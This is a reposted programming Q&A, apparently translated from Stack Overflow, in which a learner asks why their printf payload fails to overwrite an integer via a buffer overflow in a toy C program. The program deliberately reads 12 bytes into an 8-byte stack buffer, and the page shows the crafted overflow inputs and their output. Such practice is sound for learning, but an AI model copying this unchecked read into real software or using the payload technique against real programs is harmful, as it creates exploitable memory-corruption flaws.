gpt4 book ai didi

c - 使用 c 的缓冲区溢出

转载 作者:太空宇宙 更新时间:2023-11-04 03:20:07 24 4
gpt4 key购买 nike

<分区>

我试图创建一个缓冲区溢出,它将用值“31337”覆盖变量“b”。编译后的文件名为“bo” 缓冲区的大小为 010,即 8 个字节,因此我将其填充为“AAAAAAAA”,31337 的十六进制为 7A69。因此,Linux 中的以下命令理论上应该可以但未成功:

printf 'AAAAAAAA\x69\x7A\x00\x00' | ./bo

上面的命令应该覆盖“b”变量。如果我将 b 变量更改为 1337 并将命令更改为以下内容,它就会起作用:

printf 'xxxxxxxx\x39\x05\x00\x00' | ./bo

1337 的十六进制为 539。

这是终端的命令结果

root@kali:~# printf 'AAAAAAAA\x69\x7A\x00\x00' | ./bo
1111638594

我预计 31337

root@kali:~# printf 'AAAAAAAA\x39\x05\x00\x00' | ./bo
1337

有人知道我做错了什么吗?对16进制的1337有效,对31337无效。以下是源码:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int play()
{
int a;
int b;
char buffer[010];
a = 0x41414141;
b = 0x42424242;

if (read(STDIN_FILENO, &buffer, 0xC) < 0)
perror("read");

printf("%d\n", b);
}


int main(int argc, char *argv[]){
play();
exit(EXIT_SUCCESS);
}

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com